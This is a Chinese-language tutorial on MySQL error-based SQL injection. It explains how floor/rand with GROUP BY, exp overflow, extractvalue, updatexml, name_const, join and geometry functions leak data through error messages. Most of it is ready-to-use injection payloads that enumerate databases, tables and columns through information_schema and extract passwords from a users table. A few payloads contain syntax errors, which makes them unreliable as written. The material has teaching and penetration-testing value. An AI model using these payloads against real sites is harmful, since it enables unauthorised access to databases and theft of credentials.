mysql数据库报错
floor()报错注入
floor函数向下取整
rand函数,取随机值,若有参数,每个x对应一个固定的值,如果连续多次执行变化,可以预测
floor( rand(0)*2) 产生的随机序列为011001
报错原理
利用数据表主键不能重复的原理,使用group by分组产生主键key冗余,导致报错
报错语句
select count(*) ,floor(rand(0)*2) from user group by name
生成
count x 2 1 1 1
查询第一条记录,别名x 产生 键值0
,当键值 0
不存在虚拟表时,执行插入,此时别名x是一个函数,是变量,在执行插入时,按照GROUP BY
分组之时 又要执行floor函数,得到1 ,故向虚拟表中插入键值1,count = 1
查询第二条记录,别名x产生键值1,虚拟表中存在1,则令count + 1 = 2
查询第三条记录,别名x产生键值0,键值0不存在临时表,执行插入,别名x再次执行得键值1,由于1存在于临时表,那么插入之后如下表所示
由于数据库报错会将原因显示出来,所以利用报错实现注入
保证floor报错注入必须保证查询数据大于3条
约束条件
输出字符限制在64个字符内
注入语句
and select * from (select count(*),concat(0x7e,(操作代码),floor(rand(0)*2) x ,0x7e)) from information_schema.tables group by x ) as y )\
爆数据库
1 and select * from (select count(*),concat(0x7e,(select schema_name from information_schema.schema limit 1,1),floor(rand(0)*2),0x7e) x from information_schema.tables group by x ) as y
爆表
1 and select * from (select count(*),concat(0x7e,(select table_name from information_schema.table where table_schema=database() limit 0,1),floor(rand(0)*2),0x7e) x from information_schema.tables group by x ) as y
tips:MySQL中,反引号(`)用于将标识符(如表名、列名等)括起来,以便在标识符中使用特殊字符或关键字
爆列
1 and select * from (select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1/2/0,1),floor(rand(0)*2),0x7e) x from information_schema.tables group by x ) as y
通过修改limit 位置,字段进行选择爆出数据表的any位置
爆字段
1 and select * from (select count(*),concat(0x7e,(select password from users limit 0/1/2,1),floor(rand(0)*2 ),0x7e) as x from information_schema.tables group by x ) as y
修改limit位置爆出不同字段
mysql exp报错
exp()数学函数,用于计算e的x次方的函数。
5.5<mysql版本<5.6
exp是以e为底的指数函数
但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。
将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
注入语句
and (exp(~(select * from (操作代码) a)))
mysql extractvalue 报错
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b');
就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
约束条件
输出字符长度限制为32个字符
注入语句
and extractvalue(null,concat(0x7e,(代码操作),0x7e))
select * from users where id and extractvalue(null,concat(0x7e,(select version()),0x7e));
mysql updatexml 报错
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更 改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。
输出字符长度限制为32个字符
注入语句
and updatexml(1,concat(0x7e,(代码操作),0x7e),3)
select name from user where id=1 and updatexml(1,concat(0x7e,(select version()),0x7e),3);
mysql name_const()报错注入
NAME_CONST(name,value)
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
报错原理
mysql列名重复会导致报错,通过name_const制造一个列
我们可以利用mysql列名重复会导致报错这个原理配合join函数得到列名using 等价 join 中的On
约束条件查询的内容需是定值(约束条件过于苛刻,可操作的内容极其少)
注入语句
and exists(select * from (select * from(select name_const(操作代码,0)) a join (select name_const(操作代码,0)) b)c)
例子
mysql join 报错
约束条件
在知到表名的前提下才能操作
注入语句
and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c))
举例
select * from (select * from users a join users b )c;
select * from (select * from users a join users b using(id))c;
select * from (select * from users a join users b using(id,name))c;
select * from (select * from users a join users b using(id,name,password))c;
mysql geometrycollection 报错
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。对GeometryCollection的元素无任何限制,但下面介绍的GeometryCollection的子类会限制其成员。这类限制可能基于:
元素类型(例如,MultiPoint可能仅包含Point元素)。
官方文档中举例的用法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
POINT(x,y) 函数,这是坐标函数,相当于X,Y坐标图上的一点。
LINESTRING(x y,x y)函数,这个函数用来描述直线,两点连成的直线。
报错原理
由于MYSQL无法用这样字符串画出图形,所以报错了
约束条件
5.5<mysql <5.6
注入代码
and geometrycollection((select * from(select * from (操作代码)a)b))
mysql 其他函数 报错
都为空间数据储存函数,其余函数的报错原理与GeometryCollection()原理相同
MySQL支持以下数据类型:
Geometry:可以存储所有的几何类型
Point:简单点
LINESTRING:简单线
POLYGON:简单面
MULTIPOINT:多点
MULITILINESTRING:多线
MUILITIPOLYGON:很多方面
GEOMETRYCOLLECTION:任何几何集合